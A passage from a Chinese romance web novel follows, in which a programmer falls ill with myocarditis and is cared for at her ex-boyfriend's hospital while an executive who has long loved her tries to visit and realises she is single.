“我猜我们很快会在国际财经新闻上看到。应该是他一位叔叔因为庞氏骗局被抓了。”
6. 病来如山倒
离开太平后陶涓心情非常不错,先去超市采购一番,回家煮了一锅西班牙海鲜汤,通知曹艺萱今晚来吃饭,顺便庆祝。
虽然太平的人只说会尽快给她通知,但她有种直觉,这份工作稳了。
曹艺萱八点多才来,带了一瓶香槟,“我就说你能行!”
陶涓接过一看,“唉哟,克鲁格?先搁着,签合同之后喝。”
两人吃吃喝喝,曹艺萱说自己也有好消息,蓝总之前想争取的那个角色成功谈下来了,虽然是女三,但和她之前演过的那些傻白甜大小姐角色不一样,是个恶女,“剧本很扎实,太平牵线制作的这些网剧都以质量取胜,班底有保障。”
“那不会再有人改剧本加戏了吧?”
“嗐,哪有不加的?现在行业就这样,只能说太平的剧这些乱七八糟的还在可控范围内……”曹艺萱还没说完,陶涓头偏到一边捂嘴咳嗽,她咳了几下,起身去洗手间,一边走一边断断续续说,“好几天没咳嗽,我还以为要好了呢。”
听她越咳越厉害,曹艺萱不放心,跟到浴室,一摸陶涓额头,“哎呀,我的傻姐姐,你发烧了!”
陶涓早就头晕眼花,她蹲在地上,终于有点害怕,“我会不会得肺炎了?”
曹艺萱当机立断,“行了,咱们现在就去医院。”说着想把陶涓搀扶起来。
陶涓突然又一阵猛咳,喘不上气,她扶着马桶旁边的小木凳想站起来,两耳之间一阵嗡嗡蜂鸣,然后两眼一黑。
再醒来的时候已经在车里了,曹艺萱使劲按着她头顶,陶涓眨巴眨巴眼,一时没搞清情况,“你戒指挂住我头发了,揪得我头皮好疼。”
曹艺萱含着泪瞪她,“我没戴戒指!”
那怎么这么疼?陶涓感到脑门湿漉漉的,摸了一下,一看,手上全是鲜血。她从小晕血,一翻白眼又彻底黑屏了。
曹艺萱又急又怕,只能催代驾司机,“师傅,能再快点吗?”
陶涓再次恢复意识,先听到了周测的声音:“……咳嗽糖浆上怎么会没写?若症状持续请去就医——唉呀,你们俩真是……行了,你先回去吧,我在这儿看着,你也担惊受累忙了一晚上……”
陶涓急忙叫:“萱萱?”再一看,自己躺在病床上,床帘上印着安真医院的红字,周测工作的医院。
曹艺萱拉开布帘,两眼哭得红红的,陶涓握住她手,“我没事……吓着你了。”
周测冷着脸:“这叫没事?”
陶涓闭上眼睛大声呻吟,也不知道曹艺萱怎么示意的,周测冷哼一声,“我去办住院手续。”
陶涓赶紧又交待他,“千万别跟我妈说。”
“知道。”
他一走,陶涓不装了,先是奇怪,“怎么还要住院?”接着抱怨曹艺萱,“你干嘛联系周测呀!”
跟周测分手快三年了,他一直不愿放弃,每年她生日照旧给送花送蛋糕到她办公室,今年国庆放假还约她出去玩,被她用工作忙推了,她想,就当朋友不咸不淡处着吧,没想到今天又要承他人情。
曹艺萱委屈,“我也不想你再跟他有瓜葛啊,可我没办法呀!你不知道当时多吓人!”
陶涓这才知道,她在浴室昏倒时撞倒了木凳,凳子上放的花盆正砸在脑袋上,曹艺萱当时都吓傻了,冷静下来先叫了个代驾司机,又跑去邻居家求助,这才把陶涓弄上车,至于怎么想到联系周测的,他是她在北市医学界唯一的人脉,此时不用更待何时?
“幸好周测今天晚上值班,你昏迷的时候做过一堆检查了,周测说你是病毒性感冒引起的心肌炎,刚才抽了血,确诊了。”
曹艺萱说着,又从陶涓头发里拣出一块泥土,“唉哟天哪,刚才我好担心他们会给你头顶剃秃一块再缝针,这回家过年怎么交待啊?还好,现在用的是像订书机一样的工具,咔咔几下给你头皮钉好了。周测说两周就能长好,也不用拆线。”
陶涓脑子里乱乱的,“心肌炎?”
在周测上班这家全国顶尖的心外科医院,心肌炎算是最轻的一类病症。病人通常住院一到两周就能回家。
不过,周测告诉陶涓,她的病情稍微复杂。
他指着手机上的心脏解剖图解释,由于没及时治疗,她的心脏瓣膜现在被侵蚀出一个小洞,闭合不严,造成血液反流,所以她才会心慌、气短、乏力和平卧困难等症状。
先住院治疗,接下来定期复诊观察,三到六个月后病情稳定,再根据情况决定是否需要手术。
最理想的情况当然是不需要手术,只要后续定期观察,服用药物,如果需要手术,理想的情况是进行微创手术,不用锯断肋骨打开胸腔,从肋骨的间隙插入内窥镜修复瓣膜,如果复元情况不理想,那就要考虑进行心脏瓣膜置换手术,那就要开胸。
曹艺萱听到手术那部分就不停给周测使眼色,到这里实在忍不住了,“你吓她干什么?”
周测完全忽视曹艺萱,对陶涓宣判:“你目前的状态,不太可能会出现最后一种情况。”
看见陶涓嘴唇的颜色都发白了,曹艺萱气得恨不得打周测两下,“不太可能出现你就别说了!”
“医生有义务告诉病人这些信息,而且,我了解她,她会想知道所有信息的,是吧陶涓?”周测还很有理。
陶涓勉强一笑,“嗯。”
这时进来个有点慌乱的年轻医生,“周总,13床血氧突然降到80了。”
周测依旧冷静,“血压多少?”听完跟跟陶涓挥下手,“待会儿再来看你。能睡就睡。”
他走后,曹艺萱愤愤不平,“什么周总?医院也有霸总了?嘿。”
陶涓解释:“这个‘总’是住院总医师,就是美剧医疗剧里的Chief Resident。”
曹艺萱“哼”一声,不自觉摇头,“你当初是中了什么蛊啊?会跟他谈了几年。”。
陶涓苦笑,“每个颜狗都会受到恋爱的毒打。”
曹艺萱斜着眼问她,“拿你这个颜狗被毒打后学乖了吗?”
陶涓举起两只狗爪唧唧叫了几声,“学乖了!学乖了!”一下把曹艺萱逗笑了。
周测的皮相真的长到了她的审美点上,高大,俊朗,眉眼尤其英俊,像少年漫画男主。
那时候太年轻,以为真爱一个人就会愿意做出改变,还以为足够爱就能克服一切。
结果周测没改变,她也累得再也爱不动了。
安真医院常年人满为患,也不知周测求了什么人,他走后不久,护士们给陶涓在护士站旁边的杂物间加了个床。
陶涓安慰自己,这可得满足了,也算单人间呢。
可是走廊上有灯光,有人咳嗽有人呻吟,各种医疗器械发出声音,她食指上夹着血氧监测,机器放在床尾,每隔几秒“嘀”一声。左手背上扎着点滴,她不敢翻身,困极了,累极了,却无法入睡。
快凌晨四点时周测终于回来,先看检测仪,“你怎么样?”
“还行。”
他叹气,“不是我说你……”
“那就别说了!”陶涓突然烦躁。
两人一起沉默一会儿,陶涓跟他道歉,“抱歉,我真的超级困,又睡不着,这会儿感觉自己像被FBI用剥夺睡眠逼供一样,心情太不好了。我都还没谢谢你。”
“你和我已经要这么客气了吗?”周测再次叹气。
又一阵沉默后,他提起陶涓的输液包挂在折叠轮椅上,示意她坐上去,“走,去我值班室睡一会儿。”
周测说的值班室是医生值班宿舍,他最开始在这实习时住的是两张上下床的宿舍,现在也熬到住单间的资历了。
陶涓已经疲劳到极致,倒在床上没跟他说两句话就睡着了。
醒来时天还黑着,窗外好像有人在哭,仔细去听,又像是寒风呼啸。
她看看手背,滞留针还在,点滴管拔掉了。周测不知去了哪里。
安真医院的值班宿舍是一座很老的建筑,窗口很小,这样挺好,更方便值班医生睡觉。
刚毕业那会儿周测开始在这实习,只要她下班早就来找他吃晚饭,经常会遇到他观摩手术,后来当了住院医生,等的时间更久,有一次她坐在办公室外的长椅上睡着了,周测的同事把她领到宿舍去睡,再后来这种等待似乎渐渐成了常态,有时她到医院已经太累了,直接睡在他宿舍,没准隔天早上他还没下手术,就直接从医院去方舟上班。
回想起来,感到不可思议。
她和周测从她大二期末开始交往,到他去米兰Niguarda医院交流回国后她提出分手,他们一共在一起差不多七
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年。现在她想起来,总觉得这七年有一半时间她在等他。
早上八点后陶涓调到了单人病房,她知道周测一定费了不少事,说不定接下来几个月都要替同事处理行政文件,心里不是不感激的,可也只有感激。
她的病房离护士站很远,但每隔十几分钟就会有护士来一趟,虽说每次来必然是有正事要做,但频繁得可疑,而且每次来的人还不一样。
周测来看她的时候有几个小护士明显兴奋,在病房外看着他们,一脸“好甜!嗑到了!”的模样。
过了三十岁,旁人熬了夜都不成人形,周测却依旧倜傥,只有两腮须根更青一点,还更多了点不羁,陶涓不由感叹他真是天生要吃外科医生这碗饭。
其实也不奇怪,周测他们家是医学世家,家中亲戚至少十几位医生,不少还是领□□津贴的医学专家。
她拒绝他留下陪她,“我要补觉,你坐在这儿也要睡着的,赶快回家好好睡吧。”
周测又看看她血氧,“行吧,你多睡多休息,想吃什么微信告诉我,我下午给你送过来。”他快走出病房时又折返回来,“你要是有什么事就直接打给我,我就在悠然苑。”
陶涓打个呵欠,“行,你快走吧。”
周测在悠然苑的房子是他爸妈在他考上大学那年买的,离安真医院步行只要十五分钟。
他们对他的期待和未来职业规划从来都非常清晰。
周测走后陶涓躺着假寐,听到两个小护士窃窃私语,笑着说什么“天堂医生的女朋友”。
她猜“天堂医生”是她们给周测的代称。
手机一搜,是个日剧里的角色,演员和周测有几分神似,右眼下都有一颗泪痣。
无聊地躺了一会儿,曹艺萱来了。
她给陶涓带了换洗衣物和日用品,还有平板,“最近有个韩国恋综挺有意思,是把一群母胎单身的人扔在一起——会员我都给你开好了!待会儿你看吧。”
她把一件开衫毛衣放床头,“待会儿点滴打完,让护士帮你换上。”
陶涓昨晚穿的套头毛衣,干涸的血迹早已是棕黑色,在乳黄色毛衫上格外明显。
曹艺萱又拿小梳子细心给她梳了头,再拿湿巾擦拭伤口周围的头皮,“周测说一周后才能洗头。你中午想吃什么?我给你定。”
安真医院的心血管科在全国首屈一指,不过医院食堂的饭是真难吃。
两人又说了几句话,陶涓闭上眼睛,“我有点困。”
“那你好好休息。我晚上要是能早点结束就过来看你。”
“别了,我可能会一直睡。唉,我就今天早上三点多才睡着一会儿。”
曹艺萱走了,陶涓睁开眼睛。
年末曹艺萱得跟着蓝总梅姐去参加各种商务活动,明年能拿到几个角色,角色分量如何,都是什么水平的剧组,往往是这段时间里定下的。
她住的地方离安真医院不近,就算周测能开后门让她在探视时间外来,陶涓也不想让她奔波得太累。
曹艺萱今天必定是早早起床先到她家给这些日用品才来的医院,昨天睡得晚又受了惊吓,刚才眼睛还有点肿肿的。
女明星的状态、外表就是她们的简历,随时带着被人检阅,何况她后天还要去东城参加跨年晚会彩排,据说是两个女星别苗头,被她公司捡了漏,梅姐带她参加一个合唱节目,虽然只有一句歌词,对十八线小艺人来说却是难得的机会。
曹艺萱走后不久,陶涓收到了太平人事部的电话,先恭喜她获得了那份工作,问她何时能来签合同,什么时候能开始上班。
陶涓说:“对不起。”
昨天晚上她想了一夜,。
她要修养三到六个月,李唯安的宝宝都要出生了。
太平的人也很意外,但没把话说死,还问了她在哪家医院,祝她早日康复。
挂了电话,陶涓打开曹艺萱出演的网剧看了一会儿。
剧情充满打脸和反转,热闹得过分。
她按下静音,盯着天花板上床帘轨道发呆。
网上的信息和周测说的完全一致,像她这样的情况,病愈之后绝不能时常熬夜,搞不好会心肌缺血猝死。
可是,程序员的工作,大家都懂的。
接下来,她该怎么办?
7. 探病
顾清泽从墨尔本回来后章秀钟一脸高深莫测,要笑不笑憋着坏。
他按捺到中午的会议结束,“到底怎么了?”
章秀钟先长长叹一口气,才说:“她拒绝了我们的offer。”
“谁?”顾清泽站起来,“为什么?”
她知道了?她知道他在太平,所以拒绝了?她果然还是没有原谅他……
章秀钟又是一声做作的长叹,“唉,陶小姐前天病了,住院了。”
顾清泽立即看向他的秘书郑纶。
郑纶看到老板脸上指责的神色,心里大喊冤枉,他连陶小姐是谁都不知道!但他立即说:“我这就去准备……”
“不用了。”顾清泽轻呼一口气,问章秀钟,“她住哪间医院?”
郑纶打电话叫司机备车,想了想又带上新来的小秘书沈峤,问她知不知道陶小姐是何方神圣。
果然,这笨蛋一脸懵。
郑纶暗自摇头,他这几天陪顾清泽去墨尔本处理家事,沈峤留守太平,竟然什么信息都没有。
原本郑纶有位搭档,大秘书陈淇。可惜,陈淇几个月前离职,去进修了,临走前推荐了沈峤。
他不明白陈淇为什么会从一众争奇斗艳的人才里提拔这个不起眼的小秘书,想到自己要跟这个没眼色色调家伙共事相当久,他越发感到无奈,“老板的事你要事事留心,做好预案,他不问也就罢了,问了,你必须得立刻给出解决方案。哪怕是个烂方案。”
沈峤小鸡啄米般点头,也不知是不是真的听进去了。
无奈何,郑纶只得求助外人。
去地库时章秀钟的秘书孙淳发来一串背景信息,陶小姐是T大毕业的,虽然是自动化专业,但是进了方舟的算法设计师培养项目,所以很可能是老板曾经的校友。
在老板去墨尔本前一天,陶小姐来太平面试李唯安副手的职位,接着又发来陶小姐住哪家医院,病房在几楼几号。
郑纶一一转发给沈峤,“看到没,你孙姐就在留心。”你个小傻蛋就没有。
总裁的秘书得是什么样的人?眼观六路耳听八方,嘴巴严,脑子活。
目前看来沈峤只有嘴巴严。
车开到一半,顾清泽忽然问沈峤,“你是北市人,知不知道哪里有卖鸢尾花?”
鸢尾是很常见的花材,稍大点的花店四季都会有这种花,可老实蛋沈峤摇头,“不知道。我很少买花。”
不过,她没笨到家,收到郑纶的死亡凝视后立刻补充:“我到小红书上查一下。”
几秒种后她报出一家附近最近的大花店的地址。
顾清泽挑了十几支紫色的香根鸢尾,犹豫一下,又加上剑兰,洋牡丹和小苍兰。
车子再次行驶,淡淡的香气很快充斥车中。他一向喜欢小苍兰和香根鸢尾的香味,可今天不知为什么会感到有点焦躁。
腹部像有根松了的弹簧,晃晃悠悠,颤颤巍巍,不算很难受,又确确实实不舒服。
幸而从花店到医院停车场只十几分钟车程。
车子还未停下,他就说:“你们在这儿等我。”
住院部并不远,可顾清泽走得喉咙发干。
刚走进住院部,他又退出来,进了旁边的超市。
他将那束花夹在腋下,两手插在大衣口袋里,在货架之间漫步一会儿找到放热水袋的货架。
说实话,一下飞机就看到陶涓和她的男朋友相拥亲吻,他先是难以置信,然后生气,但从没后悔来北市的决定。直到北市的秋天降临。
气温倒也不会比他在苏格兰上寄宿学校时更低,可是大学校园里没有暖气。
不出意外感冒了。
硬撑了几天后终于还是得去校医院,果然得到更大惊喜——校医给他打上点滴了!
在他以往的认知里,只有病得很严重才需要这样。
他推着点滴架走进专门让病人坐着打点滴的房间,真的惊喜了。
陶涓也坐在这里,也在打点滴。
她看到他也挺高兴,招手叫他过来,问他军训怎么样,能不能习惯,都选了什么课。
其实开学前陶涓来找过他,她带他去注册学籍、办学生卡、去书店买书,又陪他去宿舍,教他叠被子,“其实你们军训会学这个。”
他说他喝不惯宿舍的水,可宿舍又不让用烧水壶之类的电器,她也无奈,“北市的水确实不好喝,我会用矿泉水掺着喝。”她带他去学生超市,买一个他从未听说过的牌子,叫“泉阳泉”的矿泉水。
然后她领他去食堂吃饭,告诉他哪些食堂的饭更好吃,每个食堂都有什么特色菜。
饭吃到一半,他忽然问她:“是不是院长叫你来的?”
陶涓一愣,他立即知道答案,气得饭也不想吃了,原本计划立刻丢筷子走人的,可也不知道为什么,气哼哼盯了她一会儿最后还是窝窝囊囊没走,“要是院长不提醒你,你还会来找我吗?”
她明显心虚,“我大三了,确实很忙,可能要再见到你才会想起来‘哎呀,我应该刚开学的时候多带带你的’,可我不是故意的。”
他那口气不上不下地噎在胸口,她用夸张的讨好语气说:“原谅我吧,是我不对。我请你吃冰淇淋!”
冰淇淋也要去专门的食堂。
食堂专门开了个窗口卖冰淇淋,冰淇淋球装在纸杯里,用小木头片做的勺子吃。
陶涓买了两份,告诉他这里的冰淇淋是“平价版哈根达斯”以及北市所有高校食堂最棒的冰淇淋。
他有点怀疑。
卖冰淇淋的食堂师傅十分不专业,天晓得怎么挖的,纸杯里的冰淇淋完全不像球状,像在太空中穿梭过千万年的彗星,不过闻起来很香。
冰淇淋窗口对面,隔着一条校园小马路是旱冰场,穿着排轮冰鞋的学生在里面转来转去,马路两边是高大的白桦树,时不时飘下来几片金色的叶子。
陶涓和他坐在台阶上吃冰淇淋,偶尔骑着单车经过的人会跟她打个招呼。
冰淇淋确实和她说的一样好吃。是朗姆酒和葡萄干味的。
军训回来后,白桦树的叶子又掉了很多。
他一直等着。可陶涓又一次没有主动联系他。直到今天在点滴室相遇。
唉,其实今天也不是她主动联系他。
她在病中好像瘦了一点,肤色也白了许多,一想到她已经受了上天惩罚,那股从军训结束积累至今的怨气一下烟消云散,他问她:“你病几天了?”
“一周多了!”她指指自己手背上的淤青,“打了三天吊针了。我就这样,换季就感冒,还很难好。”
她比他来得早,半小时后护士就来拆针了。
陶涓离开不久又折返回来,把她刚才抱的那只小热水袋放他左手下面,“我重新加了热水,打针这只手放在上面就不那么冷了。”
室内温度刚刚二十度,打了一会儿点滴,整只手臂都冰冷麻木。
她那个热水袋有个毛绒绒的棉套,像一只熟睡的小狗。
顾清泽从货架上拿下一只布丁狗绒毛外套的热水袋。这只布丁狗尾巴缝线有些歪斜,他抬头看看,它是最后一只。
他去收银台问:“请问这个热水袋还有吗?”
收银员扫了条码查看,“不好意思,最后一个了。”
顾清泽回到货架前,在许多草莓熊和其他可爱的小动物中犹豫,最终还是选了这只布丁狗。
陶涓喜欢布丁狗。
一向追求性价比的她曾经买过一支78元的布丁狗自动铅笔。对那时的她是一笔巨资。不过每次拿出来用都带着笑意。
她的病房在七楼。刚好赶上午休和探访时间,电梯里挤得满满的。
顾清泽盯着电梯里显示的楼层,又一次想:她病得厉害吗?
为什么那天他没看出来她病了?
如果人真是万物灵长,为什么在这种时候一点感应都没有?
电梯终于到了七楼,他看一下指示牌,向15号病房的方向走。
这间病房离护士站最远,一路走过来越来越安静,不知为何让顾清泽渐渐紧张。
离病房门口只有几米远时,他突然停住。
他怎么忘了,安真医院,就是当初周测实习的医院。
那么周测出现在这里,也是天经地义的。
顾清泽呆呆看着坐在她床边的男人,他给她拉上被子,从她发间摘掉什么,他们交谈,然后一起微笑,俊男美女,好般配的一对璧
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人,一如从前。
他第一反应是背过身。
一个推着餐车的护工从他身边经过:“来给病人送午饭?”
他觉得脸颊微辣,转身就走,经过护士站时随手把花束和热水袋放在柜台上。
回到停车场,他没上车,告诉郑纶:“我要自己走一走。”
安真医院附近的马路两边种的是柳树,现在是光秃秃的,但每年春天柳絮成团成团挤在路边,午饭的时候陶涓一有空去安真医院看看周测,回到学校后头发上总会沾几朵雪花似的柳絮。
马路上有飘起白色绒絮,原来,是下雪了。
冰冷的雪花落在顾清泽脸上,他摸了摸脸颊,有种似真似幻的微微刺痛,就好像几分钟前周测又像当年那样往他脸上扔了本港媒八卦杂志。
啊,他怎么会忘了周测。
他也没忘记周测鄙夷的眼神和语气:“你想追陶涓?你怎么好意思的?顾清泽,你家乱成什么样子,你自己心里没数吗?要点脸吧。”
杂志落在地上,“啪”一下打开,忽然来的一阵风吹得书页呼啦啦翻动,顾家家族内斗的丑闻,还有他父亲顾崇峻和热门港姐候选人深夜密会的亲热照,记者们历数在这位新宠之前还出现过哪些莺莺燕燕,图文并茂,一页页在他眼前快速翻动,每页都像一个耳光打在他脸上。
周测冷笑着问他,“你知道什么是喜欢吗?你喜欢她,就把她拉进你们家那滩浑水里?你凭什么?你比我清楚吧,你们家那些烂事,可不止杂志上这些!”
周测说得对。
他凭什么把陶涓拉进他的世界里。
他连自保都费劲,怎么敢再拉上她。
周测要是知道顾家的人疯起来能干出什么事,大概不止往他脸上摔杂志。
他们连人都敢杀。
他是他们的至亲,他们能伤害他,自然也不会对她有任何怜悯。
他愣愣地看了那本杂志,顷刻之间下了决心,像是在跟周测保证,又像是跟别的什么人保证,“我会离开的。”说完,才感到胸口像压了块大石头,呼吸都困难,两颊发麻,发冷,突然间冷得打了个颤。
那些记忆又洪水一样冲过来,淹没他,无边的黑暗,冷,很冷,冷得像血都要冻结了……
他打着冷颤,又重复一遍,“我会离开的。”
离开北市后,他在波士顿入学,与她相识的那段日子就像一段意外偏离人生轨道的轨迹。爵士乐演奏者的即兴发挥的一段乐曲。
也可能是一个梦境,一个幻想。
可回到原定轨道之后,他却常常夜不能寐,梦中反复回到T大的校园。
那也可能是平行宇宙中另一个顾清泽可能获得的幸福。
终于,他还是忍不住,给她写了封电邮。
发送之后他立即后悔了。
之后的几个小时,完全无法集中注意力,坐立不安,每隔几分钟就要刷新邮箱,幻想着她回信。又害怕她回信。
这么煎熬了一天后,没有收到回复。
没关系,可能是因为时差,她还没看到。
又过了一天。依旧没有回复。
他想,她现在在实习了吧?这个是她的私人邮箱,也许到周末才会打开。
周末很快过去了。
他从不解、困惑、期待中突然醒过来。
他走之前,抱着再也不去打扰她的想法,拉黑了她的微信,他怎么从来没想过一个可能,她会非常生气,她也可以拉黑他。所有联系方式。
她根本不会收到那封电邮。不会看到他的心意。
她永远不会知道。
她不会再和他有任何纠葛。
这个想法像雷击砸中他。
他一阵冷,又一阵热,说不清为什么,在喘不过气的难过中竟然又感到一丝幸运。
幸运?
是的。
幸好她把他拉黑了。
在他没能力处理好顾家那些事之前,不再和她有任何联系,是最好的。
雪花落在顾清泽睫毛上,他眨了眨眼,雪花融化,顺着脸颊滑落。
一阵冷,一阵热。就像当年一样。
他站在原地,仰头看着漫天飘落的雪花,用力呼吸。
8. 新年前夜
圣诞过后时钟像被调拨快了,转眼就到了新年前夜。
本该处处充满的快活的空气,可太平高层的空气却持续低压。
顾清泽的两位秘书在他探病失败当天就交换了信息。
原来他们老板和陶小姐不仅是旧识。而且还暗恋人家。
陶小姐有从大学就开始谈的男友,是位心外科医生,出身医学世家,现在已经是安真医院最年轻的住院总医师,前途无量。
郑纶原本还抱一丝希望,假如周医生秃头大肚子短腿(最好还能肥头大耳),那他们老板没准还能为爱做三。
结果一看沈峤拍的医院职工介绍上周医生的照片,当场破防:“蛙趣,证件照都这么帅!”这还有什么指望?
沈峤垂头丧气,“周医生本人我也瞧见了,唉,比这照片也就帅个十倍吧。”
章秀钟的秘书孙淳也在茶水间跟他们八卦,一定要看看顾先生传说中的情敌周医生长什么样。
她拿着手机看了会儿总结,“打眼看过去像腿长了十几二十公分的砂糖。唉,这完全挑不出毛病啊!”
沈峤沉痛点头。
“谁是砂糖?”郑纶听不懂她俩的共识。
沈峤:“一个日本男明星。”
孙淳:“这还重要吗?”
的确是不重要了。
沈峤还打听到,周医生他们家早就把婚房都买了,就在安真医院旁边。
经此一役,郑纶对沈峤另眼相看,这孩子一脸忠厚老实相,颇会打听消息。
陶涓在年初时怎么也没料到今年的最后一天要在医院度过。
这天中午一过,病人家属陆陆续续接人回家,到了晚餐时病房就剩她一个病人了。
又过了一会儿,点滴打完,护士来给她拔针,“周医生什么时候来?”
陶涓心知人家是想尽快去聚餐,便说很快就到,其实周测一小时前去了急诊。
护士刚走,曹艺萱打来电话,兴奋地告诉陶涓,她和梅姐的节目应该在10点25分播,不知道会不会有她的镜头,“哪怕只有0.01秒,也值了!”
陶涓替她高兴,“明年咱们上一整首歌的节目!”
“大姐你这计划真是现实而保守,就不能说明年咱上春晚吗?”
“行!上春晚!”
两人一阵笑,曹艺萱问她这几天睡得怎么样,有没有好好吃饭,陶涓说:“都好都好,你天天给我点半岛王府的外卖肉粥,我吃得还能不好?”
“什么粥?”
曹艺萱那边突然有人叫她,“我得过去了,拜拜!”
曹艺萱给她点的粥和一荤一素两道菜都做得非常地道,尤其肉粥鲜甜的味道和她记忆里爸爸做的几乎一模一样。
陶涓爸爸是广府人,他享受做饭,也很擅长做饭,她从小换季时容易感冒,爸爸每次都给她做容易消化又有营养的肉粥,有时还洒上一大勺肉松,配一点点酱油,吃完全身热气腾腾,病也很快就会好了。
她裹上被子看东市跨年晚会直播,忽然想到,过了年,她就比爸爸年龄更大了。
正感到萧瑟,妈妈宋靖耘发来语音通话。
母女俩照常寒暄几句后就像无话可说。
陶涓听到妈妈那边有烟花爆竹的声音,电视里不知播的是哪一家跨年晚会,其中夹着妹妹林溪和继父的声音,可以想象其乐融融的气氛。
她刚想祝妈妈新年快乐,林溪突然大声喊,“姐,新年快乐!”
她笑着回复,“也祝你新年快乐。”
接着是继父的声音,“陶涓,新年快乐,祝你新的一年继续进步,身体健康。”
陶涓赶紧回复:“林爸,也祝你新年身体健康,工作顺利。”
林爸哈哈一笑“好好好!”又问她,“过年回家的机票买好了吗?哪一天回来?我让司机去接你。”
陶涓扯谎,“还没定下来,最近工作很紧,没准要除夕当天才能赶回来。”
“年轻人也得注意作息啊……”林爸念叨她几句,又问:“周测在你旁边吗?”
“他还没下手术呢。刚才急诊送来一个病人。”这倒不是假话。
林爸话头一转,“你们两个什么时候准备把人生大事给办了呀?”
陶涓不自觉假笑,“忙过这一阵再说……”
林爸还想再说什么,手机被妈妈抢回来,“涓,累了就早点回家休息吧,别再等周测了。我听你声音像是好几天没睡好。”
陶涓忽然鼻子一酸,“嗯。妈妈……新年快乐。”
北市严格禁放烟花,住院部的窗口看出去只能望见路灯和巨大的红色“急诊”灯箱。
陶涓叫了辆车,裹上羽绒服悄悄溜出医院。
家中几天没开电油汀,只比楼梯间稍微暖和些,陶涓没敢脱羽绒服,先把油汀和电暖气都开到最大档,再到厨房从冰箱里拿出啤酒零食和砂糖橘,窝在沙发上打开平板。
离曹艺萱的节目还有半小时,她拉开啤酒喝了一口,轻轻对自己说,新年快乐。
一个人也要快乐。
可能太暖和了,也可能节目太无聊,她不知不觉打了个盹,再次醒来是被舅妈陈秋英的语音通话吵醒的。
先出声的是大舅宋安耕,依旧中气十足,“涓儿,干啥呢?”
陶涓傻乐一声,“暖气太热了,我看着电视睡着了。”
舅妈在旁边说,“你在暖气片上搭个湿毛巾,不然早起该流鼻血了!明天放假吗?去超市买几盆水仙花,多加点水,屋子里也没那么干,别用空气加湿器,我看新闻上说韩国好多人用这个得肺炎的,容易长真菌还是什么……”
大舅嘟囔,“你可真啰嗦!正事还没说呢……”
舅妈:“健康的事儿怎么不是正事?涓儿从小就爱流鼻血……”
两人又拌了会儿嘴才想起所谓正事,问她定没定机票,哪天回家,他们去接,又说起陶涓表姐宋沐瑶她们油田今年放假早,再过一周就能回家了。
陶涓说:“我跟萱萱一起回,可能不坐飞机了,买卧铺回。”
周测说了,高空飞行会增加心肌炎患者缺氧的几率,两三个月内最好别坐飞机。
正说着话,闹钟响了,陶涓赶紧跟大舅舅妈拜拜,“曹艺萱上跨年晚会了,马上就到她节目,我得给她录下来,孩子第一次上电视呢!”
舅妈还问:“哪个台呀?我们也换过去看看,唉哟萱萱是真出息了!”
曹艺萱参加的合唱是三对男女演员对唱,虽然歌词少,但导播很舍得给她镜头。
陶涓一边录一边美滋滋想:我闺蜜可真漂亮呀!太漂亮了!歌也唱得好,台风也好!我要是导播我也爱拍她!对对
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对,怼脸拍最能体现我家萱萱的美貌!
节目结束,陶涓立刻给曹艺萱发微信祝贺,室温终于升上来了,她脱掉羽绒服,把砂糖橘的皮放在暖气片上,往窗外一看,又下雪了。
鹅毛般的雪花轻盈落下,在昏黄的路灯下像一片片飘舞的秋叶。
雪越落越快,一会儿就把车窗遮住大半,顾清泽启动雨刷,橘色的路灯照在小水滴上,形成一个个细小的光圈,窗外这片上世纪末建的居民楼在这样的光晕下显得格外温馨。
这些楼房都不高,只有五六层,窗口离马路很近。
想到陶涓也许就在其中一扇窗后,他忽然感到一阵心悸,像是心脏被人用力攥了一下。
从医院回去后,他终于冷静下来,打开了陶涓的简历。
既然都看到她和周测在一起的样子了,还有什么可怕的?
他想知道她这些年都怎么过的,做了什么。
文字所写的经历和她面试时跟Rosy的对话一一重合上,他不禁感叹,果然是她。
她做了这么多有意义的工作,一定很满足也很骄傲,看得出来她最自豪的是与北市几家综合医院合作的项目,为外科医生提供AI模拟手术方案,增加手术成功率。
同她相比,他这十年真的没做出来什么值得骄傲的东西。
他感叹一会儿,忽然注意到陶涓留的地址并不是周测在安真医院附近的家。
顾清泽愣住。
一股冰冷的水从心脏泵出,流出胸腔后突然变成了岩浆。
心脏跳得太过剧烈,他甚至能听到自己心跳的声音。
他打开导航验证自己的估测,没错——两个地方公共交通需要近一小时,高峰期要更久。
他觉得手机导航坏了,又在电脑上查看北市的交通地图——没错!
为什么?
发生了什么?
她为什么搬家了?
什么时候搬的?
她留的地址和方舟大厦却很近。有直通地铁,只要三站。
顾清泽站起来乱走了一阵,重新坐下,打开那天她来面试的视频,定格,放大,调高清晰度——她确实没有戴戒指。
他像是忽然踩空,降落了一会儿才发现自己坠入海中,挣扎了片刻才感到鼻腔灌满了咸涩的海水。
没有戒指。
他清楚地记得她让周测给她戴上那枚钻石戒指时有多高兴,双眼泪光莹然,比她手指上那颗钻石还要明亮,她带着泪滴的笑脸像阳光一样刺眼,而他,畏惧这样强烈的阳光,只能快速转身,假装从来没见过她和周测,也根本不认识他们。
顾清泽从回忆中挣脱后看到自己右手按在胸前,自嘲地笑了一下,一股莫名而来的悲哀慢慢从心底涌上。
陶涓一定是和周测分手了。
得出这个推论后他很惊讶,他竟然很难过。
从前他不止一次臆想过她跟周测分手,但这次可能成了事实,他反而一点也高兴不起来。
因为他见证过她那么认真地几乎拼尽全力地喜欢着一个人的样子。
她一定很难过。也一定受了很多、很多委屈。才最终决定不再喜欢周测了。
顾清泽打开车窗,几片雪花飘进车里,他仰头看着马路对面那些亮着温暖灯光的窗口,在心里默默说:祝你新年快乐,陶涓。
9. 新的一年
新年过后,陶涓就缠着主治医生要求出院。
理由也很充分,她在医院睡不好。
而且现在她晚上不用打吊针了,只要拿了处方在社区医院打针,继续吃药就好。
周测劝她:“要不你先搬到悠然苑住,我回我爸妈那住。悠然苑离医院近,你每天来白天病房打吊针,打完就可以回去休息。”
陶涓笑了笑,隔了一会儿才说:“你也认为我晚上不用再住在医院了?这样的话我当然是住在自己家里最舒服。”
周测无语。
陶涓再也不想去悠然苑那套房子住。
毕业那年她陪着周测住在那里,起初是觉得这样他下了夜班能尽快回家休息,尽管她每天上下班加起来要花两三个小时通勤。
倒也想过买车,可北市车牌摇中的几率才0.1%。
就算摇中了,每周还有一天限号,况且交通高峰时从这里到方舟大厦比公共交通更耗时,于是彻底熄了买车的念头。
实习医生确实是忙,是累,可刚出社会打拼的打工人哪一个不忙不累不需要加班?
渐渐的,陶涓感到吃不消。
她跟周测商量要不要把悠然苑的房子租出去,在安真医院和方舟大厦的中间租个房,这样两人上班都方便。
